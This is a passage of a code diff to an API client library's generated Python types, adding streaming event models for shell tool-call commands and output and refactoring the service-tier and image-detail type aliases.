+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["BetaResponseShellCallCommandDeltaEvent", "Agent"]
+
+
+class Agent(BaseModel):
+ """The agent that owns this multi-agent streaming event."""
+
+ agent_name: str
+ """The canonical name of the agent that produced this item."""
+
+
+class BetaResponseShellCallCommandDeltaEvent(BaseModel):
+ """A streaming event that indicated a shell command was incrementally updated."""
+
+ command_index: int
+ """The index of the shell command that was updated."""
+
+ delta: str
+ """The shell command delta that was appended."""
+
+ output_index: int
+ """The index of the output item that was updated."""
+
+ sequence_number: int
+ """The sequence number of the event that was emitted."""
+
+ type: Literal["response.shell_call_command.delta"]
+ """The type of the event, always `response.shell_call_command.delta`."""
+
+ agent: Optional[Agent] = None
+ """The agent that owns this multi-agent streaming event."""
+
+ obfuscation: Optional[str] = None
+ """An obfuscation string that was added to pad the event payload."""
diff --git a/src/openai/types/beta/beta_response_shell_call_command_done_event.py b/src/openai/types/beta/beta_response_shell_call_command_done_event.py
new file mode 100644
index 0000000000..1dba069cf1
--- /dev/null
+++ b/src/openai/types/beta/beta_response_shell_call_command_done_event.py
@@ -0,0 +1,37 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["BetaResponseShellCallCommandDoneEvent", "Agent"]
+
+
+class Agent(BaseModel):
+ """The agent that owns this multi-agent streaming event."""
+
+ agent_name: str
+ """The canonical name of the agent that produced this item."""
+
+
+class BetaResponseShellCallCommandDoneEvent(BaseModel):
+ """A streaming event that indicated a shell command was completed."""
+
+ command: str
+ """The final shell command that was emitted."""
+
+ command_index: int
+ """The index of the shell command that was completed."""
+
+ output_index: int
+ """The index of the output item that was updated."""
+
+ sequence_number: int
+ """The sequence number of the event that was emitted."""
+
+ type: Literal["response.shell_call_command.done"]
+ """The type of the event, always `response.shell_call_command.done`."""
+
+ agent: Optional[Agent] = None
+ """The agent that owns this multi-agent streaming event."""
diff --git a/src/openai/types/beta/beta_response_shell_call_output_content_delta_event.py b/src/openai/types/beta/beta_response_shell_call_output_content_delta_event.py
new file mode 100644
index 0000000000..e4190eb335
--- /dev/null
+++ b/src/openai/types/beta/beta_response_shell_call_output_content_delta_event.py
@@ -0,0 +1,50 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["BetaResponseShellCallOutputContentDeltaEvent", "Delta", "Agent"]
+
+
+class Delta(BaseModel):
+ """The stdout/stderr delta that was emitted."""
+
+ stderr: Optional[str] = None
+ """The stderr delta that was emitted."""
+
+ stdout: Optional[str] = None
+ """The stdout delta that was emitted."""
+
+
+class Agent(BaseModel):
+ """The agent that owns this multi-agent streaming event."""
+
+ agent_name: str
+ """The canonical name of the agent that produced this item."""
+
+
+class BetaResponseShellCallOutputContentDeltaEvent(BaseModel):
+ """A streaming event that indicated shell call output was incrementally added."""
+
+ command_index: int
+ """The index of the shell command that produced output."""
+
+ delta: Delta
+ """The stdout/stderr delta that was emitted."""
+
+ item_id: str
+ """The ID of the output item that was updated."""
+
+ output_index: int
+ """The index of the output item that was updated."""
+
+ sequence_number: int
+ """The sequence number of the event that was emitted."""
+
+ type: Literal["response.shell_call_output_content.delta"]
+ """The type of the event, always `response.shell_call_output_content.delta`."""
+
+ agent: Optional[Agent] = None
+ """The agent that owns this multi-agent streaming event."""
diff --git a/src/openai/types/beta/beta_response_shell_call_output_content_done_event.py b/src/openai/types/beta/beta_response_shell_call_output_content_done_event.py
new file mode 100644
index 0000000000..2d008236dc
--- /dev/null
+++ b/src/openai/types/beta/beta_response_shell_call_output_content_done_event.py
@@ -0,0 +1,87 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Union, Optional
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+
+__all__ = [
+ "BetaResponseShellCallOutputContentDoneEvent",
+ "Output",
+ "OutputOutcome",
+ "OutputOutcomeTimeout",
+ "OutputOutcomeExit",
+ "Agent",
+]
+
+
+class OutputOutcomeTimeout(BaseModel):
+ """Indicates that the shell call exceeded its configured time limit."""
+
+ type: Literal["timeout"]
+ """The outcome type. Always `timeout`."""
+
+
+class OutputOutcomeExit(BaseModel):
+ """Indicates that the shell commands finished and returned an exit code."""
+
+ exit_code: int
+ """Exit code from the shell process."""
+
+ type: Literal["exit"]
+ """The outcome type. Always `exit`."""
+
+
+OutputOutcome: TypeAlias = Annotated[Union[OutputOutcomeTimeout, OutputOutcomeExit], PropertyInfo(discriminator="type")]
+
+
+class Output(BaseModel):
+ """The content of a shell tool call output that was emitted."""
+
+ outcome: OutputOutcome
+ """
+ Represents either an exit outcome (with an exit code) or a timeout outcome for a
+ shell call output chunk.
+ """
+
+ stderr: str
+ """The standard error output that was captured."""
+
+ stdout: str
+ """The standard output that was captured."""
+
+ created_by: Optional[str] = None
+ """The identifier of the actor that created the item."""
+
+
+class Agent(BaseModel):
+ """The agent that owns this multi-agent streaming event."""
+
+ agent_name: str
+ """The canonical name of the agent that produced this item."""
+
+
+class BetaResponseShellCallOutputContentDoneEvent(BaseModel):
+ """A streaming event that indicated shell call output was completed."""
+
+ command_index: int
+ """The index of the shell command that produced output."""
+
+ item_id: str
+ """The ID of the output item that was updated."""
+
+ output: List[Output]
+ """The output contents emitted for the shell command."""
+
+ output_index: int
+ """The index of the output item that was updated."""
+
+ sequence_number: int
+ """The sequence number of the event that was emitted."""
+
+ type: Literal["response.shell_call_output_content.done"]
+ """The type of the event, always `response.shell_call_output_content.done`."""
+
+ agent: Optional[Agent] = None
+ """The agent that owns this multi-agent streaming event."""
diff --git a/src/openai/types/beta/beta_response_stream_event.py b/src/openai/types/beta/beta_response_stream_event.py
index 57d5beadbf..013974ff1d 100644
--- a/src/openai/types/beta/beta_response_stream_event.py
+++ b/src/openai/types/beta/beta_response_stream_event.py
@@ -30,9 +30,12 @@
from .beta_response_mcp_list_tools_failed_event import BetaResponseMcpListToolsFailedEvent
from .beta_response_audio_transcript_delta_event import BetaResponseAudioTranscriptDeltaEvent
from .beta_response_mcp_call_arguments_done_event import BetaResponseMcpCallArgumentsDoneEvent
+from .beta_response_shell_call_command_done_event import BetaResponseShellCallCommandDoneEvent
from .beta_response_image_gen_call_completed_event import BetaResponseImageGenCallCompletedEvent
from .beta_response_mcp_call_arguments_delta_event import BetaResponseMcpCallArgumentsDeltaEvent
from .beta_response_mcp_list_tools_completed_event import BetaResponseMcpListToolsCompletedEvent
+from .beta_response_shell_call_command_added_event import BetaResponseShellCallCommandAddedEvent
+from .beta_response_shell_call_command_delta_event import BetaResponseShellCallCommandDeltaEvent
from .beta_response_image_gen_call_generating_event import BetaResponseImageGenCallGeneratingEvent
from .beta_response_web_search_call_completed_event import BetaResponseWebSearchCallCompletedEvent
from .beta_response_web_search_call_searching_event import BetaResponseWebSearchCallSearchingEvent
@@ -52,8 +55,10 @@
from .beta_response_reasoning_summary_part_added_event import BetaResponseReasoningSummaryPartAddedEvent
from .beta_response_reasoning_summary_text_delta_event import BetaResponseReasoningSummaryTextDeltaEvent
from .beta_response_function_call_arguments_delta_event import BetaResponseFunctionCallArgumentsDeltaEvent
+from .beta_response_shell_call_output_content_done_event import BetaResponseShellCallOutputContentDoneEvent
from .beta_response_code_interpreter_call_code_done_event import BetaResponseCodeInterpreterCallCodeDoneEvent
from .beta_response_code_interpreter_call_completed_event import BetaResponseCodeInterpreterCallCompletedEvent
+from .beta_response_shell_call_output_content_delta_event import BetaResponseShellCallOutputContentDeltaEvent
from .beta_response_code_interpreter_call_code_delta_event import BetaResponseCodeInterpreterCallCodeDeltaEvent
from .beta_response_code_interpreter_call_in_progress_event import BetaResponseCodeInterpreterCallInProgressEvent
from .beta_response_code_interpreter_call_interpreting_event import BetaResponseCodeInterpreterCallInterpretingEvent
@@ -81,6 +86,11 @@
BetaResponseFileSearchCallSearchingEvent,
BetaResponseFunctionCallArgumentsDeltaEvent,
BetaResponseFunctionCallArgumentsDoneEvent,
+ BetaResponseShellCallCommandAddedEvent,
+ BetaResponseShellCallCommandDeltaEvent,
+ BetaResponseShellCallCommandDoneEvent,
+ BetaResponseShellCallOutputContentDeltaEvent,
+ BetaResponseShellCallOutputContentDoneEvent,
BetaResponseInProgressEvent,
BetaResponseFailedEvent,
BetaResponseIncompleteEvent,
diff --git a/src/openai/types/beta/beta_responses_client_event.py b/src/openai/types/beta/beta_responses_client_event.py
index fc231efa76..dd1dc326b0 100644
--- a/src/openai/types/beta/beta_responses_client_event.py
+++ b/src/openai/types/beta/beta_responses_client_event.py
@@ -6,6 +6,7 @@
from ..._utils import PropertyInfo
from ..._models import BaseModel
from .beta_tool import BetaTool
+from .beta_service_tier import BetaServiceTier
from .beta_response_input import BetaResponseInput
from .beta_response_prompt import BetaResponsePrompt
from .beta_tool_choice_mcp import BetaToolChoiceMcp
@@ -508,7 +509,7 @@ class ResponseCreate(BaseModel):
[Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
"""
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]] = None
+ service_tier: Optional[BetaServiceTier] = None
"""Specifies the processing type used for serving the request.
- If set to 'auto', then the request will be processed with the service tier
diff --git a/src/openai/types/beta/beta_responses_client_event_param.py b/src/openai/types/beta/beta_responses_client_event_param.py
index 61a0995e01..fc57110dc5 100644
--- a/src/openai/types/beta/beta_responses_client_event_param.py
+++ b/src/openai/types/beta/beta_responses_client_event_param.py
@@ -6,6 +6,7 @@
from typing_extensions import Literal, Required, TypeAlias, TypedDict
from .beta_tool_param import BetaToolParam
+from .beta_service_tier import BetaServiceTier
from .beta_response_includable import BetaResponseIncludable
from .beta_tool_choice_options import BetaToolChoiceOptions
from .beta_response_input_param import BetaResponseInputParam
@@ -507,7 +508,7 @@ class ResponseCreate(TypedDict, total=False):
[Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
"""
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
+ service_tier: Optional[BetaServiceTier]
"""Specifies the processing type used for serving the request.
- If set to 'auto', then the request will be processed with the service tier
diff --git a/src/openai/types/beta/beta_responses_server_event.py b/src/openai/types/beta/beta_responses_server_event.py
index 1988694174..b025431b2b 100644
--- a/src/openai/types/beta/beta_responses_server_event.py
+++ b/src/openai/types/beta/beta_responses_server_event.py
@@ -32,9 +32,12 @@
from .beta_response_mcp_list_tools_failed_event import BetaResponseMcpListToolsFailedEvent
from .beta_response_audio_transcript_delta_event import BetaResponseAudioTranscriptDeltaEvent
from .beta_response_mcp_call_arguments_done_event import BetaResponseMcpCallArgumentsDoneEvent
+from .beta_response_shell_call_command_done_event import BetaResponseShellCallCommandDoneEvent
from .beta_response_image_gen_call_completed_event import BetaResponseImageGenCallCompletedEvent
from .beta_response_mcp_call_arguments_delta_event import BetaResponseMcpCallArgumentsDeltaEvent
from .beta_response_mcp_list_tools_completed_event import BetaResponseMcpListToolsCompletedEvent
+from .beta_response_shell_call_command_added_event import BetaResponseShellCallCommandAddedEvent
+from .beta_response_shell_call_command_delta_event import BetaResponseShellCallCommandDeltaEvent
from .beta_response_image_gen_call_generating_event import BetaResponseImageGenCallGeneratingEvent
from .beta_response_web_search_call_completed_event import BetaResponseWebSearchCallCompletedEvent
from .beta_response_web_search_call_searching_event import BetaResponseWebSearchCallSearchingEvent
@@ -54,8 +57,10 @@
from .beta_response_reasoning_summary_part_added_event import BetaResponseReasoningSummaryPartAddedEvent
from .beta_response_reasoning_summary_text_delta_event import BetaResponseReasoningSummaryTextDeltaEvent
from .beta_response_function_call_arguments_delta_event import BetaResponseFunctionCallArgumentsDeltaEvent
+from .beta_response_shell_call_output_content_done_event import BetaResponseShellCallOutputContentDoneEvent
from .beta_response_code_interpreter_call_code_done_event import BetaResponseCodeInterpreterCallCodeDoneEvent
from .beta_response_code_interpreter_call_completed_event import BetaResponseCodeInterpreterCallCompletedEvent
+from .beta_response_shell_call_output_content_delta_event import BetaResponseShellCallOutputContentDeltaEvent
from .beta_response_code_interpreter_call_code_delta_event import BetaResponseCodeInterpreterCallCodeDeltaEvent
from .beta_response_code_interpreter_call_in_progress_event import BetaResponseCodeInterpreterCallInProgressEvent
from .beta_response_code_interpreter_call_interpreting_event import BetaResponseCodeInterpreterCallInterpretingEvent
@@ -80,6 +85,11 @@
"BetaResponseFileSearchCallWsSearching",
"BetaResponseFunctionCallArgumentsWsDelta",
"BetaResponseFunctionCallArgumentsWsDone",
+ "BetaResponseShellCallCommandWsAdded",
+ "BetaResponseShellCallCommandWsDelta",
+ "BetaResponseShellCallCommandWsDone",
+ "BetaResponseShellCallOutputContentWsDelta",
+ "BetaResponseShellCallOutputContentWsDone",
"BetaResponseInWsProgress",
"BetaResponseWsFailed",
"BetaResponseWsIncomplete",
@@ -318,6 +328,61 @@ class BetaResponseFunctionCallArgumentsWsDone(BetaResponseFunctionCallArgumentsD
"""
+class BetaResponseShellCallCommandWsAdded(BetaResponseShellCallCommandAddedEvent):
+ """A streaming event that indicated a shell command was added to a tool call."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseShellCallCommandWsDelta(BetaResponseShellCallCommandDeltaEvent):
+ """A streaming event that indicated a shell command was incrementally updated."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseShellCallCommandWsDone(BetaResponseShellCallCommandDoneEvent):
+ """A streaming event that indicated a shell command was completed."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseShellCallOutputContentWsDelta(BetaResponseShellCallOutputContentDeltaEvent):
+ """A streaming event that indicated shell call output was incrementally added."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class BetaResponseShellCallOutputContentWsDone(BetaResponseShellCallOutputContentDoneEvent):
+ """A streaming event that indicated shell call output was completed."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
class BetaResponseInWsProgress(BetaResponseInProgressEvent):
"""Emitted when the response is in progress."""
@@ -772,6 +837,11 @@ class BetaResponseWsError(BaseModel):
BetaResponseFileSearchCallWsSearching,
BetaResponseFunctionCallArgumentsWsDelta,
BetaResponseFunctionCallArgumentsWsDone,
+ BetaResponseShellCallCommandWsAdded,
+ BetaResponseShellCallCommandWsDelta,
+ BetaResponseShellCallCommandWsDone,
+ BetaResponseShellCallOutputContentWsDelta,
+ BetaResponseShellCallOutputContentWsDone,
BetaResponseInWsProgress,
BetaResponseWsFailed,
BetaResponseWsIncomplete,
diff --git a/src/openai/types/beta/beta_service_tier.py b/src/openai/types/beta/beta_service_tier.py
new file mode 100644
index 0000000000..fe6d349faf
--- /dev/null
+++ b/src/openai/types/beta/beta_service_tier.py
@@ -0,0 +1,8 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal, TypeAlias
+
+__all__ = ["BetaServiceTier"]
+
+BetaServiceTier: TypeAlias = Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
diff --git a/src/openai/types/beta/response_create_params.py b/src/openai/types/beta/response_create_params.py
index b98cb38444..6fd253d5d2 100644
--- a/src/openai/types/beta/response_create_params.py
+++ b/src/openai/types/beta/response_create_params.py
@@ -7,6 +7,7 @@
from ..._utils import PropertyInfo
from .beta_tool_param import BetaToolParam
+from .beta_service_tier import BetaServiceTier
from .beta_response_includable import BetaResponseIncludable
from .beta_tool_choice_options import BetaToolChoiceOptions
from .beta_response_input_param import BetaResponseInputParam
@@ -321,7 +322,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
[Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
"""
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
+ service_tier: Optional[BetaServiceTier]
"""Specifies the processing type used for serving the request.
- If set to 'auto', then the request will be processed with the service tier
diff --git a/src/openai/types/chat/chat_completion.py b/src/openai/types/chat/chat_completion.py
index 9f0981a741..c031989751 100644
--- a/src/openai/types/chat/chat_completion.py
+++ b/src/openai/types/chat/chat_completion.py
@@ -5,6 +5,7 @@
from ..._utils import PropertyInfo
from ..._models import BaseModel
+from ..shared.metadata import Metadata
from ..completion_usage import CompletionUsage
from .chat_completion_message import ChatCompletionMessage
from .chat_completion_token_logprob import ChatCompletionTokenLogprob
@@ -211,6 +212,16 @@ class ChatCompletion(BaseModel):
object: Literal["chat.completion"]
"""The object type, which is always `chat.completion`."""
+ metadata: Optional[Metadata] = None
+ """Set of 16 key-value pairs that can be attached to an object.
+
+ This can be useful for storing additional information about the object in a
+ structured format, and querying for objects via API or the dashboard.
+
+ Keys are strings with a maximum length of 64 characters. Values are strings with
+ a maximum length of 512 characters.
+ """
+
moderation: Optional[Moderation] = None
"""
Moderation results for the request input and generated output, if moderated
diff --git a/src/openai/types/conversations/computer_screenshot_content.py b/src/openai/types/conversations/computer_screenshot_content.py
index f713399be5..b2fc076c44 100644
--- a/src/openai/types/conversations/computer_screenshot_content.py
+++ b/src/openai/types/conversations/computer_screenshot_content.py
@@ -4,6 +4,7 @@
from typing_extensions import Literal
from ..._models import BaseModel
+from ..responses.image_detail import ImageDetail
__all__ = ["ComputerScreenshotContent", "PromptCacheBreakpoint"]
@@ -21,7 +22,7 @@ class PromptCacheBreakpoint(BaseModel):
class ComputerScreenshotContent(BaseModel):
"""A screenshot of a computer."""
- detail: Literal["low", "high", "auto", "original"]
+ detail: ImageDetail
"""The detail level of the screenshot image to be sent to the model.
One of `high`, `low`, `auto`, or `original`. Defaults to `auto`.
diff --git a/src/openai/types/responses/__init__.py b/src/openai/types/responses/__init__.py
index 07991b1c5c..f81a38be61 100644
--- a/src/openai/types/responses/__init__.py
+++ b/src/openai/types/responses/__init__.py
@@ -7,7 +7,9 @@
from .tool_param import ToolParam as ToolParam
from .custom_tool import CustomTool as CustomTool
from .local_skill import LocalSkill as LocalSkill
+from .image_detail import ImageDetail as ImageDetail
from .inline_skill import InlineSkill as InlineSkill
+from .service_tier import ServiceTier as ServiceTier
from .computer_tool import ComputerTool as ComputerTool
from .function_tool import FunctionTool as FunctionTool
from .response_item import ResponseItem as ResponseItem
@@ -192,6 +194,9 @@
from .response_mcp_call_arguments_done_event import (
ResponseMcpCallArgumentsDoneEvent as ResponseMcpCallArgumentsDoneEvent,
)
+from .response_shell_call_command_done_event import (
+ ResponseShellCallCommandDoneEvent as ResponseShellCallCommandDoneEvent,
+)
from .response_tool_search_output_item_param import (
ResponseToolSearchOutputItemParam as ResponseToolSearchOutputItemParam,
)
@@ -219,6 +224,12 @@
from .response_mcp_list_tools_completed_event import (
ResponseMcpListToolsCompletedEvent as ResponseMcpListToolsCompletedEvent,
)
+from .response_shell_call_command_added_event import (
+ ResponseShellCallCommandAddedEvent as ResponseShellCallCommandAddedEvent,
+)
+from .response_shell_call_command_delta_event import (
+ ResponseShellCallCommandDeltaEvent as ResponseShellCallCommandDeltaEvent,
+)
from .container_network_policy_allowlist_param import (
ContainerNetworkPolicyAllowlistParam as ContainerNetworkPolicyAllowlistParam,
)
@@ -309,12 +320,18 @@
from .response_function_call_output_item_list_param import (
ResponseFunctionCallOutputItemListParam as ResponseFunctionCallOutputItemListParam,
)
+from .response_shell_call_output_content_done_event import (
+ ResponseShellCallOutputContentDoneEvent as ResponseShellCallOutputContentDoneEvent,
+)
from .response_code_interpreter_call_code_done_event import (
ResponseCodeInterpreterCallCodeDoneEvent as ResponseCodeInterpreterCallCodeDoneEvent,
)
from .response_code_interpreter_call_completed_event import (
ResponseCodeInterpreterCallCompletedEvent as ResponseCodeInterpreterCallCompletedEvent,
)
+from .response_shell_call_output_content_delta_event import (
+ ResponseShellCallOutputContentDeltaEvent as ResponseShellCallOutputContentDeltaEvent,
+)
from .response_code_interpreter_call_code_delta_event import (
ResponseCodeInterpreterCallCodeDeltaEvent as ResponseCodeInterpreterCallCodeDeltaEvent,
)
diff --git a/src/openai/types/responses/image_detail.py b/src/openai/types/responses/image_detail.py
new file mode 100644
index 0000000000..873ade4fb6
--- /dev/null
+++ b/src/openai/types/responses/image_detail.py
@@ -0,0 +1,7 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal, TypeAlias
+
+__all__ = ["ImageDetail"]
+
+ImageDetail: TypeAlias = Literal["low", "high", "auto", "original"]
diff --git a/src/openai/types/responses/response.py b/src/openai/types/responses/response.py
index 762080dc0f..b03f9b133d 100644
--- a/src/openai/types/responses/response.py
+++ b/src/openai/types/responses/response.py
@@ -6,6 +6,7 @@
from .tool import Tool
from ..._utils import PropertyInfo
from ..._models import BaseModel
+from .service_tier import ServiceTier
from .response_error import ResponseError
from .response_usage import ResponseUsage
from .response_prompt import ResponsePrompt
@@ -401,7 +402,7 @@ class Response(BaseModel):
[Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
"""
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]] = None
+ service_tier: Optional[ServiceTier] = None
"""Specifies the processing type used for serving the request.
- If set to 'auto', then the request will be processed with the service tier
diff --git a/src/openai/types/responses/response_create_params.py b/src/openai/types/responses/response_create_params.py
index 6ef0ba9fc7..b3ae9b0453 100644
--- a/src/openai/types/responses/response_create_params.py
+++ b/src/openai/types/responses/response_create_params.py
@@ -6,6 +6,7 @@
from typing_extensions import Literal, Required, TypeAlias, TypedDict
from .tool_param import ToolParam
+from .service_tier import ServiceTier
from .response_includable import ResponseIncludable
from .tool_choice_options import ToolChoiceOptions
from .response_input_param import ResponseInputParam
@@ -212,7 +213,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
[Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
"""
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
+ service_tier: Optional[ServiceTier]
"""Specifies the processing type used for serving the request.
- If set to 'auto', then the request will be processed with the service tier
diff --git a/src/openai/types/responses/response_image_gen_call_partial_image_event.py b/src/openai/types/responses/response_image_gen_call_partial_image_event.py
index 7094f4b5fe..fbcc923f24 100644
--- a/src/openai/types/responses/response_image_gen_call_partial_image_event.py
+++ b/src/openai/types/responses/response_image_gen_call_partial_image_event.py
@@ -1,5 +1,6 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+from typing import Optional
from typing_extensions import Literal
from ..._models import BaseModel
@@ -30,3 +31,15 @@ class ResponseImageGenCallPartialImageEvent(BaseModel):
type: Literal["response.image_generation_call.partial_image"]
"""The type of the event. Always 'response.image_generation_call.partial_image'."""
+
+ background: Optional[str] = None
+ """The background setting that was used."""
+
+ output_format: Optional[str] = None
+ """The output format that was used."""
+
+ quality: Optional[str] = None
+ """The image quality that was used."""
+
+ size: Optional[str] = None
+ """The image size that was used."""
diff --git a/src/openai/types/responses/response_input_image.py b/src/openai/types/responses/response_input_image.py
index 83e2dac738..dc43953f09 100644
--- a/src/openai/types/responses/response_input_image.py
+++ b/src/openai/types/responses/response_input_image.py
@@ -4,6 +4,7 @@
from typing_extensions import Literal
from ..._models import BaseModel
+from .image_detail import ImageDetail
__all__ = ["ResponseInputImage", "PromptCacheBreakpoint"]
@@ -24,7 +25,7 @@ class ResponseInputImage(BaseModel):
Learn about [image inputs](https://platform.openai.com/docs/guides/vision).
"""
- detail: Literal["low", "high", "auto", "original"]
+ detail: ImageDetail
"""The detail level of the image to be sent to the model.
One of `high`, `low`, `auto`, or `original`. Defaults to `auto`.
diff --git a/src/openai/types/responses/response_input_image_content.py b/src/openai/types/responses/response_input_image_content.py
index 1ebbf2e677..730d7dd1c9 100644
--- a/src/openai/types/responses/response_input_image_content.py
+++ b/src/openai/types/responses/response_input_image_content.py
@@ -4,6 +4,7 @@
from typing_extensions import Literal
from ..._models import BaseModel
+from .image_detail import ImageDetail
__all__ = ["ResponseInputImageContent", "PromptCacheBreakpoint"]
@@ -27,7 +28,7 @@ class ResponseInputImageContent(BaseModel):
type: Literal["input_image"]
"""The type of the input item. Always `input_image`."""
- detail: Optional[Literal["low", "high", "auto", "original"]] = None
+ detail: Optional[ImageDetail] = None
"""The detail level of the image to be sent to the model.
One of `high`, `low`, `auto`, or `original`. Defaults to `auto`.
diff --git a/src/openai/types/responses/response_input_image_content_param.py b/src/openai/types/responses/response_input_image_content_param.py
index 3fa73ca2df..96d24a92cb 100644
--- a/src/openai/types/responses/response_input_image_content_param.py
+++ b/src/openai/types/responses/response_input_image_content_param.py
@@ -5,6 +5,8 @@
from typing import Optional
from typing_extensions import Literal, Required, TypedDict
+from .image_detail import ImageDetail
+
__all__ = ["ResponseInputImageContentParam", "PromptCacheBreakpoint"]
@@ -27,7 +29,7 @@ class ResponseInputImageContentParam(TypedDict, total=False):
type: Required[Literal["input_image"]]
"""The type of the input item. Always `input_image`."""
- detail: Optional[Literal["low", "high", "auto", "original"]]
+ detail: Optional[ImageDetail]
"""The detail level of the image to be sent to the model.
One of `high`, `low`, `auto`, or `original`. Defaults to `auto`.
diff --git a/src/openai/types/responses/response_input_image_param.py b/src/openai/types/responses/response_input_image_param.py
index 080c1c2bd8..35c728d5f0 100644
--- a/src/openai/types/responses/response_input_image_param.py
+++ b/src/openai/types/responses/response_input_image_param.py
@@ -5,6 +5,8 @@
from typing import Optional
from typing_extensions import Literal, Required, TypedDict
+from .image_detail import ImageDetail
+
__all__ = ["ResponseInputImageParam", "PromptCacheBreakpoint"]
@@ -24,7 +26,7 @@ class ResponseInputImageParam(TypedDict, total=False):
Learn about [image inputs](https://platform.openai.com/docs/guides/vision).
"""
- detail: Required[Literal["low", "high", "auto", "original"]]
+ detail: Required[ImageDetail]
"""The detail level of the image to be sent to the model.
One of `high`, `low`, `auto`, or `original`. Defaults to `auto`.
diff --git a/src/openai/types/responses/response_shell_call_command_added_event.py b/src/openai/types/responses/response_shell_call_command_added_event.py
new file mode 100644
index 0000000000..6318d2ffcc
--- /dev/null
+++ b/src/openai/types/responses/response_shell_call_command_added_event.py
@@ -0,0 +1,26 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["ResponseShellCallCommandAddedEvent"]
+
+
+class ResponseShellCallCommandAddedEvent(BaseModel):
+ """A streaming event that indicated a shell command was added to a tool call."""
+
+ command: str
+ """The shell command that was added."""
+
+ command_index: int
+ """The index of the shell command that was added."""
+
+ output_index: int
+ """The index of the output item that was updated."""
+
+ sequence_number: int
+ """The sequence number of the event that was emitted."""
+
+ type: Literal["response.shell_call_command.added"]
+ """The type of the event, always `response.shell_call_command.added`."""
diff --git a/src/openai/types/responses/response_shell_call_command_delta_event.py b/src/openai/types/responses/response_shell_call_command_delta_event.py
new file mode 100644
index 0000000000..541bcf08a2
--- /dev/null
+++ b/src/openai/types/responses/response_shell_call_command_delta_event.py
@@ -0,0 +1,30 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["ResponseShellCallCommandDeltaEvent"]
+
+
+class ResponseShellCallCommandDeltaEvent(BaseModel):
+ """A streaming event that indicated a shell command was incrementally updated."""
+
+ command_index: int
+ """The index of the shell command that was updated."""
+
+ delta: str
+ """The shell command delta that was appended."""
+
+ output_index: int
+ """The index of the output item that was updated."""
+
+ sequence_number: int
+ """The sequence number of the event that was emitted."""
+
+ type: Literal["response.shell_call_command.delta"]
+ """The type of the event, always `response.shell_call_command.delta`."""
+
+ obfuscation: Optional[str] = None
+ """An obfuscation string that was added to pad the event payload."""
diff --git a/src/openai/types/responses/response_shell_call_command_done_event.py b/src/openai/types/responses/response_shell_call_command_done_event.py
new file mode 100644
index 0000000000..8cd667bdcf
--- /dev/null
+++ b/src/openai/types/responses/response_shell_call_command_done_event.py
@@ -0,0 +1,26 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["ResponseShellCallCommandDoneEvent"]
+
+
+class ResponseShellCallCommandDoneEvent(BaseModel):
+ """A streaming event that indicated a shell command was completed."""
+
+ command: str
+ """The final shell command that was emitted."""
+
+ command_index: int
+ """The index of the shell command that was completed."""
+
+ output_index: int
+ """The index of the output item that was updated."""
+
+ sequence_number: int
+ """The sequence number of the event that was emitted."""
+
+ type: Literal["response.shell_call_command.done"]
+ """The type of the event, always `response.shell_call_command.done`."""
diff --git a/src/openai/types/responses/response_shell_call_output_content_delta_event.py b/src/openai/types/responses/response_shell_call_output_content_delta_event.py
new file mode 100644
index 0000000000..1bcf7fdb32
--- /dev/null
+++ b/src/openai/types/responses/response_shell_call_output_content_delta_event.py
@@ -0,0 +1,40 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
